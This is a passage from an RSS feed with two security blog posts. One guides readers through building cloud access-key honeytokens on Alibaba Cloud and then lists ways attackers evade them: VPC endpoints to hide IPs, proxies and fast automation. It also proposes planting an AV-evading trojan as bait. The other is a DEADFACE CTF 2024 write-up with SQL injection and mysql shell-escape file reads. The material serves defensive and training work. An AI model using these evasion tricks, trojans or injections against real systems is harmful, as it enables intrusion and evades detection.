            <content:encoded><![CDATA[<blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>密标实际上是利用 iam 体系鉴权的细粒度划分，操作审计功能审计 accesskey 行为，事件跟踪投递日志，最后根据日志创建告警监控，达到捕获攻击者行为并通知防守发的目的。 这种防守方式最优秀的地方在于，从攻击者视角来看，密标和普通的 accesskey 没有太多的区别。正如同优秀的攻击者总能能将恶意请求隐藏在正常的云服务请求中。</em></blockquote><h3>密标创建-阿里云</h3><p>这里我们使用阿里云来创建一个基础的密标环境。</p><p>首先在 RAM 访问控制中，选择创建一个新的密标用户。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Dek7oVB0rE00B4t0.png" /></figure><p>然后根据需求的场景不同，创建多个 accesskey 投放到不同的业务区域，或者是创建多个密标用户以不同的权限部署密标 accesskey。</p><p>为了方便演示，这里我创建的密标用户是test，只有一个 accesskey。</p><h3>资源组隔离</h3><p>为保障密标环境不受制和影响真实业务环境，我推荐通过资源组的方式去对密标环境进行安全隔离。下面演示资源组隔离密标的</p><p>在控制台打开资源管理，创建一个新的资源组。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lQTZot5T7HYWqFq7.png" /></figure><p>将我们提前部署好的恶意资源，纳入资源组。并且在授予密标用户权限时，按资源组进行授权。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dlmqZxSe_UeN2k6m.png" /></figure><p>通过资源组的隔离，可以任意地定制权限而无需担心被横向到真实环境。</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>小知识：accesskey 的调用只是攻击手法的表象，攻击者能够利用 accesskey 去攻击云服务，实际上是利用了这个 accesskey 代表的凭证实体去访问对应的云服务，accesskey 没有权限这一说法，accesskey 的权限是来源于凭证实体的，比如说子用户就是一种凭证实体，权限是子用户的。</em></blockquote><h3>操作审计</h3><p>接下来，我们创建对密标用户的行为审计，这里在密标用户界面，点击操作事件-创建跟踪</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wA0htg1Kc0Le4bX7.png" /></figure><p>当我们点击创建事件跟踪之后，会跳转到操作审计页面，这是一个单独的服务，他的作用是记录云服务中的活动记录。在操作审计中，无论是控制台操作还是 accesskey 调用，通常情况下都会记录到操作审计中。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ukqYu8urbkcf-weH.png" /></figure><p>创建事件跟踪后的页面如下。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J21EaTomMfrxKCTP.png" /></figure><p>此时我们操作对应的 accesskey ,比如调用 oss ls。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vkwz_Bm02rhOSYg0.png" /></figure><h3>日志服务</h3><p>然后点进去对应的日志项目中</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SzDa0xXooQpV93ag.png" /></figure><p>筛选用户名为 test 的事件：</p><pre>event.userIdentity.userName = &quot;test&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Cn5MLBVkfSaXlneQ.png" /></figure><p>这里能很清楚地看到，攻击者在 sourceIpAddress 的机器上通过 ossutil（userAgent），对 region 为 hangzhou 的 oss 云服务（eventSource）发起了 GetService 的请求（eventName），并且由于权限不足，导致 “AccessDenied” （errorCode）。</p><p>此时我们已经通过操作审计的事件跟踪功能，利用特定条件筛选可以定位到密标用户事件，那么下一步则是将此类事件推送到联系人上。</p><p>在云日志中找到告警中心，然后新建告警规则。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*11Db_VHUC84NvjMf.png" /></figure><p>注意这几个地方。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8bOa9n27GbXQCJub.png" /></figure><p>查询统计处，点击添加，在高级配置中，日志库选择 actiontrail 也就是刚刚创建的事件跟踪，然后在查询区间里，填入event.userIdentity.userName = &quot;test&quot;，表示只筛选密标用户。查询区间按需求调整，这里我选择 15分钟。最后点击预览来确认筛选的事件是否正确，最后点击确认。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*e1D0N3z849nn2B07.png" /></figure><p>添加完毕后点确认。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*929sBfAIb5HOsutE.png" /></figure><h3>云监控</h3><p>之后我们需要配置云监控中心的报警策略，可以点编辑回到之前的告警页面快速跳转到云监控中心。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*eN6OkFGxPdsv1-X0.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*e78XHqWmJA1Y5ybc.png" /></figure><p>在创建事件订阅前，需要先配置报警通知的联系人和报警模版。</p><p>在云监控中心左侧往下拉，找到报警联系人。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/0*iJ3wZZjpZiDeVXMf.png" /></figure><p>创建联系人。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Yx1VYJ0WH6Sr_G1p.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/0*j3AksRCAcLcK4PZ-.png" /></figure><p>填好对应信息后，将联系人放到联系组。因为报警是以组为单位的。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jKQ-b3Cyu93Gs_DS.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/0*I2YjjKJ0nM7J5-Hg.png" /></figure><p>如果报警方式选择手机通知，第一次使用会收到阿里云的激活通知，按指示激活即可。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/0*b5IFdbbyZVYhPTRM.png" /></figure><p>设置好联系人后，按需求设置通知模版。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/0*CgO_vqKdR6wztnk1.png" /></figure><p>这里我直接使用系统默认模版。</p><p>进入最后一步，设置事件订阅，这里我建议从之前的日志服务点进来，这样可以自动设置好事件资源和事件内容。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*evXLTJUNpSYCcZiN.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kolVBikfQCfJer3Q.png" /></figure><p>配置完成后，测试调用密标用户 accesskey，发现会报警到手机上。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/0*OvUTHv1PW9cf-41v.png" /></figure><h3>密标的作用</h3><h3>攻击行为识别</h3><p>可以通过 userAgent 来识别攻击者此时在用什么方式访问密标。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MRE86oDg-bC89wPM.png" /></figure><p>显示 oss-browser 说明攻击者在用图形化工具翻文件。</p><p>按照经验，此时最容易泄漏攻击者的真实 ip，因为攻击者在使用用 sdk 或者 cli 的时候更倾向于通过 VPS 来进行，但是使用图形化工具往往会是攻击者本身的机器。而 oss-browser 本身没有设置代理的选项，如果此时攻击者的攻击机没有让 oss-browser 挂代理，则会直接暴露真实 ip。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qCWtfV7n386fBLMF.png" /></figure><p>如果 userAgent 中含有 sdk 字样， 此时攻击者通常是在搜集桶内信息，比如查特定的文件，或者统计数据量以总结成果。但也有可能直接用 sync 来拖库。</p><h3>诱捕</h3><p>正如设置 CTF 题目一样，在密标环境中可以任意给攻击者设置不同难度的诱饵。</p><p>例如：设置多个存储桶，其中包含一个私有桶和多个公开桶。</p><p>公开桶中，设置一个桶数据量小，但是桶名跟配置相关，比如 config ，里面存放多个配置文件，并且大多数是不能连接的（伪造的），其中放一个恶意的 mysql 蜜罐是可以连接的，此时就能联动传统的蜜罐对攻击者进行反制。</p><p>私有桶往往更被攻击者关注，此时可以设置一些简单的门槛，例如：用户收到桶 policy 的限制，没有权限直接访问此存储桶，但是桶 policy 是可任意覆盖的，那么此时攻击者就会高兴地运用他所学到的技术去做一个特权提升以访问此存储桶。那么此时，可以在桶内放个免杀马，标明为 VPN 客户端。相比起直接获得的配置，经过攻击绕过限制所得到的‘客户端’更容易让人放松警惕。</p><p>诸如此类，各位可以敬请展开联想。</p><h3>密标对抗</h3><p>为了避免在密标中遭受更大程度的损失，攻击者可以利用以下方式来尽可能规避影响。</p><h3>VPC规避IP泄漏</h3><p>实现方式如下：</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yt-vJTxGO0ivI8Hi.png" /></figure><p>值得注意的是，此方法需要攻击者拥有一台对应厂商的 VPS，比如这里我使用的是一台上海的云服务器。 因此走的 VPC 是 oss-cn-shanghai-internal.aliyuncs.com，这里是 VPC 不是存储桶所在的 region。 最终效果如下：</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r1umVchF63HOanaN.png" /></figure><p>在操作审计中，只会有一个内网的 IP 地址。</p><p>可以通过云函数来快速部署一台临时的 VPS，具体可见我之前研发的工具绝影 <a href="https://mp.weixin.qq.com/s/Fq0GXbuFrLhhMRMVEUtPMw">https://mp.weixin.qq.com/s/Fq0GXbuFrLhhMRMVEUtPMw</a></p><p>值得注意的是，阿里云的云函数直接反弹 shell 会导致封号，请勿轻易尝试。</p><h3>伪造IP</h3><p>在使用凭证的时候，保持全程挂代理，减少密标捕获的有用信息。</p><h3>自动化攻击</h3><p>由于操作审计、日志投递、云监控报警，三者本身都有检测时间段，即并不是有调用行为就会瞬发报警，因此快速的自动化攻击会减少攻击者在密标中所浪费的时间。</p><h3>工具推荐</h3><p>TeamsSix 师傅正在研发中的工具云鉴(Cloud Sword)，目前已实现自动化部署密标</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17cc02b0c636" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DEADFACE CTF · 2024 WriteUp]]></title>
            <link>https://wgpsec.medium.com/deadface-ctf-2024-writeup-2a0ab884c6b9?source=rss-8f7cabea8024------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a0ab884c6b9</guid>
            <category><![CDATA[cyper-security]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[WgpSec]]></dc:creator>
            <pubDate>Sun, 20 Oct 2024 07:36:17 GMT</pubDate>
            <atom:updated>2024-10-20T07:39:09.415Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>每年十月，Cyber Hacktics 会组织一次夺旗赛（Capture-the-Flag，简称CTF）活动，以支持网络安全意识月。参赛者可以组队参赛，每队最多四人，必须解决与各种网络安全和计算机科学学科相关的挑战。 比赛地址 </em><a href="https://ctf.deadface.io/"><em>https://ctf.deadface.io/</em></a></blockquote><p>Welcome to Join us <a href="https://discord.gg/8HdEejVaFZ">https://discord.gg/8HdEejVaFZ</a></p><h3>Starter</h3><h3>Starter 1</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Welcome to DEADFACE CTF! We’re very happy to have you join us and participate in this year’s event. To ensure a safe and fair competition, we require all competitors to read and acknowledge the rules and Code of Conduct..</em></blockquote><blockquote><em>Rules and Code of Conduct (https://ctf.deadface.io/code-of-conduct)</em></blockquote><blockquote><em>Submit the flag located on the </em>Rules and Code of Conduct<em> page. By entering the flag, you acknowledge the rules and code of conduct and agree to adhere to them.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9dpUPSsDxraSIf7Q.png" /></figure><p>flag{I_acknowledge_the_rules}</p><h3>Starter 2</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>We need your help! DEADFACE has been wreaking havoc on several companies and individuals. Many of us have joined together to form </em><strong><em>Turbo Tactical</em></strong><em>, an organization of cybersecurity and infosec professionals and enthusiasts to help out DEADFACE’s victims.</em></blockquote><blockquote><em>While performing some basic reconnaissance, we found a public Discourse forum called Ghost Town that DEADFACE uses to communicate with each other. We managed to get an insider to open the forum up to non-authenticated users. Use Ghost Town as a resource to find out what DEADFACE is up to and how they managed to execute their attacks.</em></blockquote><blockquote><em>Ghost Town(https://ghosttown.deadface.io)</em></blockquote><blockquote><em>There is a post titled “Where to even get started”. Submit the flag as the username of the user that started the post and the date the post was made in this format: flag{username_MMDD}.</em></blockquote><blockquote><em>Example: flag{hackyboi_0615}</em></blockquote><p>flag{deadface_0624}</p><h3>SkyWave</h3><h3>SkyWave 1: High Tower</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>We need your help tracking down d34th, the leader of DEADFACE. He recently conducted an attack against SkyWave Telecommunications. We’ve received cell tower data that might help us pinpoint d34th’s device and potentially lead us to his identity.</em></blockquote><blockquote><em>But first, we need to assess your familiarity with SQL and the data you’re being provided.</em></blockquote><blockquote><em>What is the tower_id of the cell tower that sits at an approximate elevation of 220 ft?</em></blockquote><blockquote><em>Submit the flag as flag{tower_id}. Example: flag{10}.</em></blockquote><blockquote><em>Access the database via SSH at skywave.deadface.io.</em></blockquote><blockquote><em>Username: skywave</em></blockquote><blockquote><em>Password: d34df4c3</em></blockquote><pre>select group_concat(schema_name) from information_schema.schemata;<br>use cell_tower_db;<br>show tables;<br>select * from Towers;</pre><p>flag{215}</p><h3>SkyWave 2: Trifecta</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>We can assume that d34th used some kind of smart device or computer to conduct his attacks. How many devices in the database are either a smart phone, a computer, or a tablet?</em></blockquote><pre>select count(*) from Devices where device_type_id=1 or device_type_id=4 or device_type_id=3;</pre><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>flag{714}</em></blockquote><h3>SkyWave 3: Rabbit Ears</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Florian Olyff operates several towers. What is the most commonly used antenna type (name) on the towers she manages?</em></blockquote><pre>select * from Operators;<br>| operator_id | first_name    | last_name   | employee_number |<br>|           4 | Florian       | Olyff       | 3223634520      |</pre><pre>MySQL [cell_tower_db]&gt; select * from Towers where operator_id=4;<br>+----------+---------------+-----------+------------+-----------+--------------+-------------+--------+--------------+-----------------------+<br>| tower_id | location_name | latitude  | longitude  | elevation | tower_height | operator_id | status | install_date | last_maintenance_date |<br>+----------+---------------+-----------+------------+-----------+--------------+-------------+--------+--------------+-----------------------+<br>|      189 | PA            | 40.725061 | -76.969425 |     36.19 |        88.71 |           4 | active | 2011-02-09   | 2023-08-24            |<br>+----------+---------------+-----------+------------+-----------+--------------+-------------+--------+--------------+-----------------------+</pre><pre>MySQL [cell_tower_db]&gt; select * from Tower_Sectors where tower_id=189;<br>+-----------+----------+---------+------------+----------------+--------------+<br>| sector_id | tower_id | azimuth | antenna_id | frequency_band | power_output |<br>+-----------+----------+---------+------------+----------------+--------------+<br>|      1140 |      189 |    0.00 |          9 | 850 MHz        |         5.06 |<br>|      1141 |      189 |   45.00 |          4 | 700 MHz        |         4.73 |<br>|      1142 |      189 |   90.00 |          2 | C-band         |         4.31 |<br>|      1143 |      189 |  135.00 |          9 | 3.45 GHz       |         9.17 |<br>|      1144 |      189 |  180.00 |          6 | 2.5 GHz        |         4.54 |<br>|      1145 |      189 |  225.00 |          9 | 700 MHz        |         5.89 |<br>|      1146 |      189 |  270.00 |          5 | C-band         |         7.83 |<br>|      1147 |      189 |  315.00 |          4 | 2.5 GHz        |         7.42 |<br>+-----------+----------+---------+------------+----------------+--------------+<br>8 rows in set (0.001 sec)</pre><pre>MySQL [cell_tower_db]&gt; select * from Antennas;<br>+------------+---------------------------------------+<br>| antenna_id | antenna_name                          |<br>+------------+---------------------------------------+<br>|          1 | Omnidirectional                       |<br>|          2 | Directional                           |<br>|          3 | Panel                                 |<br>|          4 | Log-Periodic                          |<br>|          5 | Parabolic                             |<br>|          6 | Small Cell                            |<br>|          7 | Use Case                              |<br>|          8 | Distributed Antenna System (DAS)      |<br>|          9 | Multiple Input Multiple Output (MIMO) |<br>+------------+---------------------------------------+</pre><pre>MySQL [cell_tower_db]&gt; select count(*) from Connections where tower_id=189 and sector_id=1147 or sector_id=1141;<br>+----------+<br>| count(*) |<br>+----------+<br>|        8 |<br>+----------+<br>MySQL [cell_tower_db]&gt; select count(*) from Connections where tower_id=189 and (sector_id=1140 or sector_id=1145 or sector_id=1143);;<br>+----------+<br>| count(*) |<br>+----------+<br>|        7 |<br>+----------+</pre><p>system 函数没禁用，可以看到好多题解</p><pre>\! cat schema.sql<br>MySQL [cell_tower_db]&gt; SELECT a.antenna_name, COUNT(*) AS antenna_count<br>    -&gt; FROM Tower_Sectors ts<br>    -&gt; JOIN Antennas a ON ts.antenna_id = a.antenna_id<br>    -&gt; JOIN Towers t ON ts.tower_id = t.tower_id<br>    -&gt; WHERE t.operator_id = (SELECT operator_id FROM Operators WHERE first_name = &#39;Florian&#39; AND last_name = &#39;Olyff&#39;)<br>    -&gt; GROUP BY a.antenna_name<br>    -&gt; ORDER BY antenna_count DESC<br>    -&gt; LIMIT 1;<br>+---------------------------------------+---------------+<br>| antenna_name                          | antenna_count |<br>+---------------------------------------+---------------+<br>| Multiple Input Multiple Output (MIMO) |             3 |<br>+---------------------------------------+---------------+</pre><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>flag{Multiple Input Multiple Output (MIMO) 3}</em></blockquote><h3>SkyWave 4: Longest Run</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>We need to determine which device had the longest running connection out of the towers with the following coordinates:</em></blockquote><ul><li>(41.639642, -79.220682)</li><li>(40.598271, -78.801089)</li><li>(41.045892, -79.068358)</li><li>(41.257279, -77.529468)</li></ul><blockquote><em>Additionally, let’s focus on only finding the longest running connection with a dBm greater than -100.</em></blockquote><pre>SELECT device_id, connection_duration<br>FROM Connections<br>WHERE tower_id IN (<br>    SELECT tower_id <br>    FROM Towers <br>    WHERE (latitude = 41.639642 AND longitude = -79.220682)<br>       OR (latitude = 40.598271 AND longitude = -78.801089)<br>       OR (latitude = 41.045892 AND longitude = -79.068358)<br>       OR (latitude = 41.257279 AND longitude = -77.529468)<br>)<br>AND signal_strength &gt; -100<br>ORDER BY connection_duration DESC<br>LIMIT 1;<br>+-----------+---------------------+<br>| device_id | connection_duration |<br>+-----------+---------------------+<br>|       344 |               85709 |<br>+-----------+---------------------+</pre><pre>MySQL [cell_tower_db]&gt; select * from Devices where device_id = 344;<br>+-----------+-----------------+----------------+--------------+---------+------------+<br>| device_id | device_imei     | device_type_id | manufacturer | model   | carrier_id |<br>+-----------+-----------------+----------------+--------------+---------+------------+<br>|       344 | 845303290931675 |              2 | CosmoTech    | Nova 15 |          4 |<br>+-----------+-----------------+----------------+--------------+---------+------------+</pre><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>flag{845303290931675}</em></blockquote><h3>SkyWave 5: Connections</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>We’re running with an assumption that d34th drove around and connected to various cell towers the day leading up to the attack. We need you to determine which device IMEI connected to the most unique towers on September 7 from 16:10 to 18:54.</em></blockquote><pre>\! cat .mysql_history</pre><p>能执行命令读文件</p><pre>SELECT device_imei <br>FROM Devices <br>WHERE device_id = 2325;</pre><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>flag{377494868035375}</em></blockquote><h3>SkyWave 9: Updates</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>How many towers received software updates?</em></blockquote><pre>select count(distinct tower_id) from Tower_Maintenance where maintenance_type=&#39;Software updates&#39;;<br>+--------------------------+<br>| count(distinct tower_id) |<br>+--------------------------+<br>|                       70 |<br>+--------------------------+</pre><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>flag{70}</em></blockquote><h3>WEB</h3><h3>Target List 1</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Deadface is running a server where they have a list of targets they are planning on using in an upcoming attack. See if you can find any targets they are trying to hide.</em></blockquote><blockquote><a href="http://targetlist.deadface.io:3001/"><strong><em>http://targetlist.deadface.io:3001</em></strong></a></blockquote><blockquote><em>Submit the flag as flag{flag-text}</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/0*jsOFv4bJSs5rK79v.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9KCeK-v24iiZceRk.png" /></figure><p>从 ASCII 第四列开始</p><p>可能是双引号闭合</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/0*Spcxle3V16Wx2LWl.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/0*67pn2rh5FSE3MBgo.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ei_xl8LSKkhyn3wq.png" /></figure><p>f620f126271</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/0*1ByqKbYFQTr4PHId.png" /></figure><h3>Target List 2</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Deadface has an admin panel on their target list site. See if you can log into it as admin..</em></blockquote><blockquote><a href="http://targetlist.deadface.io:3001/admin"><strong><em>http://targetlist.deadface.io:3001/admin</em></strong></a></blockquote><blockquote><em>Submit the flag as flag{flag-text}</em></blockquote><p>Deadface的目标列表网站上有一个管理面板。看看你是否可以以管理员身份登录。。</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><a href="http://targetlist.deadface.io:3001/admin"><strong><em>http://targetlist.deadface.io:3001/admin</em></strong></a></blockquote><blockquote><em>将标志作为标志｛标志文本｝提交</em></blockquote><p>现在要进行注入，那么需要大量字符串，需要写一个字典做对应</p><pre>select * from user where name like &quot;PAGE%&quot;</pre><p>要变成这样</p><pre>select * from user where name like &quot;PAGE%&quot; union select password,&quot;1&quot;</pre><h3>Steganography</h3><h3>Something in the Dark</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Created by: syyntax</em></blockquote><blockquote><em>DEADFACE extracted a sensitive photo from Lytton Labs. As far as we can tell, it’s just a normal photo of a neighborhood at night, but the man who took the photo insists he saw something else. Here is the man’s original tweet. He later added the following image below.</em></blockquote><blockquote><em>Submit the flag as flag{flag_text_here}.</em></blockquote><blockquote><a href="https://tinyurl.com/rp6d5m9w"><strong><em>Download Image</em></strong></a><em> (334KB)</em></blockquote><p>用stegsolve，Rad plane 1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/0*-9A_tCYjkiO_Bjoe.png" /></figure><p>flag{ar3_we_410N3??}</p><h3>Price Check</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>DEADFACE has been hacking random people all over town and no one can seem to figure out what they are doing. All we know at this time is that the most recent site that was hit was Otto’s Grocery Store. Oddly, only the customers are being affected and not the company’s network. What is happening? They hired our firm to sniff out the attack and we successfully captured a strange file being sent across the guest WiFi. We believe this is the primary attack vector, and we’ve heard some victims mention that they had to “scan” something — maybe it is in the wrong format? Can you figure out how this file is being used in the attack to reveal the flag?</em></blockquote><blockquote><em>Submit the flag as flag{flag_text_here}.</em></blockquote><blockquote><a href="https://tinyurl.com/mr3mktv5"><strong><em>Download File</em></strong></a><em> (2.5KB)</em></blockquote><p>下载的文件是一个表格 明显是转二维码</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_uUpBwDWto6LXWtH.png" /></figure><pre>from PIL import Image</pre><pre># 读取像素值<br>with open(&#39;STEG05.txt&#39;, &#39;r&#39;) as file:<br>    pixel_values = []<br>    for line in file:<br>        # 去掉换行符并用逗号分割，然后转换为整数，映射0和255<br>        values = [255 if int(value) == 0 else 0 for value in line.strip().split(&#39;,&#39;)]<br>        pixel_values.extend(values)</pre><pre># 确保读取的像素值数量为 29x29=841<br>if len(pixel_values) != 29 * 29:<br>    raise ValueError(&quot;Pixel values count must be 841 for a 29x29 image.&quot;)</pre><pre># 创建一个新的图像对象<br>image = Image.new(&#39;L&#39;, (29, 29))  # &#39;L&#39;模式表示灰度图像</pre><pre># 将像素值填入图像<br>image.putdata(pixel_values)</pre><pre># 保存图像为 flag.png<br>image.save(&#39;flag.png&#39;)</pre><pre>print(&quot;flag.png has been created successfully.&quot;)</pre><p>改后缀为txt 编写脚本提取结果</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SfkLS8YweZ2tWx27.png" /></figure><h3>dead_browse</h3><h3>dead_browse 1</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>DEADFACE has created a site </em><a href="http://deadbrowse.deadface.io:3000/"><strong><em>http://deadbrowse.deadface.io:3000</em></strong></a><em> and a browser that goes along with it. Figure out how to access the site!</em></blockquote><blockquote><em>Submit the flag as flag{flag-text}</em></blockquote><p>可以找到下面的check函数</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/0*Kp4ZCF733gHJ_-FM.png" /></figure><p>里面有个异或加密操作</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/0*ca78v_8BtU24Tomq.png" /></figure><pre>from pwn import *<br>context.arch = &quot;amd64&quot;<br>data = flat([0x5621161E143E150B,0xD54144A0E462C26,0x463B471620501340,0x4011609])<br>key = b&quot;my_secret_key&quot;<br>data = data[:-4]<br>c_data = b&quot;&quot;<br>for i in range(len(data)):<br>    c_data += p8(data[i]^key[i%len(key)])</pre><pre>print(c_data)</pre><h3>Crypto</h3><h3>Logical Left and Rational</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>DEADFACE left this artifact with one of their victims. Can you decipher what it says?</em></blockquote><blockquote><em>Submit the flag as flag{flag-text}</em></blockquote><pre>s = r&#39;\/\\/\/\ \///\/\/ \///\\// \///\/\\ \\/\\\\\ \//\\\\/ \\/\\\\\ \//\//\\ \//\/\\/ \///\/\\ \///\/\\ \//\//\\ \//\\/\/ \\/\\\\\ \///\\// \//\//// \//\//\/ \//\\/\/ \///\/\\ \//\/\\\ \//\/\\/ \//\///\ \//\\/// \\/\\\\\ \///\/\\ \//\//// \\/\\\\\ \//\\/// \//\\/\/ \///\/\\ \\/\\\\\ \///\\// \///\/\\ \//\\\\/ \///\\/\ \///\/\\ \//\\/\/ \//\\/\\ \\/\//\\ \\/\\\\\ \//\/\\\ \//\//// \///\\\\ \//\\/\/ \\/\\\\\ \////\\/ \//\//// \///\/\/ \\/\\\\\ \//\/\\\ \//\\\\/ \///\//\ \//\\/\/ \\/\\\\\ \//\\//\ \///\/\/ \//\///\ \\/\\\\\ \///\/\\ \//\/\\\ \//\/\\/ \///\\// \\/\\\\\ \////\\/ \//\\/\/ \//\\\\/ \///\\/\ \\/\\\\\ \/\/\/\\ \///\/\/ \///\\/\ \//\\\/\ \//\//// \\/\\\\\ \/\/\/\\ \//\\\\/ \//\\\// \//\/\// \////\\/ \\/\\\\/ \\/\\\\/ \\/\\\\/ \\/\\\\/ \\/\\\\\ \//\\//\ \//\//\\ \//\\\\/ \//\\/// \////\// \/\\/\\\ \\//\\// \/\//\\/ \/\//\\/ \\//\\\\ \/\/\/\/ \///\\/\ \/\\\//\ \\//\\\/ \/\\///\ \\//\/\\ \\//\\\/ \\//\\\/ \/\//\\/ \\//\/\\ \/\/\/// \\//\/\\ \/\\/\// \\//\\// \/////\/&#39;<br>s = s.replace(&quot;/&quot;,&quot;1&quot;).replace(&quot;\\&quot;,&quot;0&quot;).split(&quot; &quot;)<br>for i in s:<br>    print(chr(int(i,2)),end=&quot;&quot;)</pre><h3>Ides-le Talk</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>We intercepted a file from one of DEADFACE’s more amateur members. They claim that they hid a password in a text file. When we looked at the file, it’s indecipherable jibberish. We believe a common cipher was used to hide the message (and the password). As far as possible keys goes, maybe it can be determined by the author of the original text?</em></blockquote><blockquote><em>Submit the flag as flag{flag-text}</em></blockquote><p>Vigenere爆key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qzKU7bcCW5FrZ1XW.png" /></figure><h3>Social Pressure</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>We intercepted this chat log between luciafer and lilith. We believe they’re discussing who or what they will target for their social engineering campaign.</em></blockquote><p>Decode the message and submit the name of the target. The key is to remember that sometimes the simplest solutions are just waiting to be reflected upon.</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Submit the flag as flag{First_Last}.</em></blockquote><p>词频分析直接能还原对话信息，然后根据题目描述知道flag为框中的人名</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J5f_pgWlwMDzQdZk.png" /></figure><p>flag{Elroy_Ongaro}</p><h3>Cereal Killer</h3><h3>Cereal Killer 01</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>This year, America’s politicians are weighing in on the IMPORTANT issues… As in, which spooky cereal is best?</em></blockquote><blockquote><em>Mr. Robert F. Kennedy, Jr. has a favorite spooky cereal. Tear apart this binary and see if you can figure out what it is!</em></blockquote><p>附件拖入ida</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UJclymZbz8r5ega7.png" /></figure><p>叽里咕噜说什么呢。需要一个密码，对输入的处理是rot13</p><p>先求密码</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/0*LQGYNxWAfOHc07G9.png" /></figure><p>运行程序输入密码即得。flag{The-M0st-Fam0us-Nephew-Loves-B00B3rry!}</p><h3>Cereal Killer 05</h3><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>This year, America’s politicians are weighing in on the IMPORTANT issues…! As in, which spooky cereal is best?</em></blockquote><blockquote><em>President Donald Trump also has a favorite monster cereal, but it is secured by a password. As a test of your hacking mettle, oh great Turbo Tactical nerd, we need you to hack the program and gain access to the flag. Good luck!</em></blockquote><p>附件拖入jadx</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*epYCzqKRZbm6-JaV.png" /></figure><figure><img alt="" 